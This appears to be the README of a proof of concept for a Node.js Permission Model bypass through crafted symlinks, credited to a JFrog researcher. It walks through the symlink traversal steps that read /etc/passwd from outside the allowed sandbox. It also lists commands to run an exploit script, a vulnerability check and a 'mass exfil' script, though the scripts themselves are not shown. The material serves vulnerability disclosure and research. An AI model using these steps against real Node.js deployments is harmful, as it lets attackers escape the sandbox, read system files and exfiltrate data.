___ _   _ ___     ____   ___ ____  ____      ____ ____ _ _____ ___  
  / __| | | | __|___/ _  \ / _ \___ \| ___|    | ___| ___/ |___ // _ \ 
 | (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
  \___|\___/|___|   \__  ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
                    |___/                       |____/____/|_|____/\___/ 
                                                                        
        Node.js Permission Model Bypass via Crafted Symlinks
                   [ Discovered by natann @ JFrog ]

Permission Check:  ./nested/dirs/symlink/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^ ALLOWED (starts with ./)
                   
Path Resolution:   /actual/path/to/script/../../../etc/passwd
                   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
                   Resolves to /etc/passwd - OUTSIDE SANDBOX

1. mkdir -p ./a/b/c/d/e/f/g           # Create nested dirs in allowed path
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x     # Symlink to absolute path  
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
         ^^^^^^^^^^^^^^^^^ 
         Permission check passes (inside ./)
         
   After symlink resolution:
   /home/user/project/../../../etc/passwd -> /etc/passwd
   ^^^^^^^^^^^^^^^^^^^^
   Traversal escapes to root

# Basic exploitation
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js

# Check if vulnerable
node check.js

# Mass exfil
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js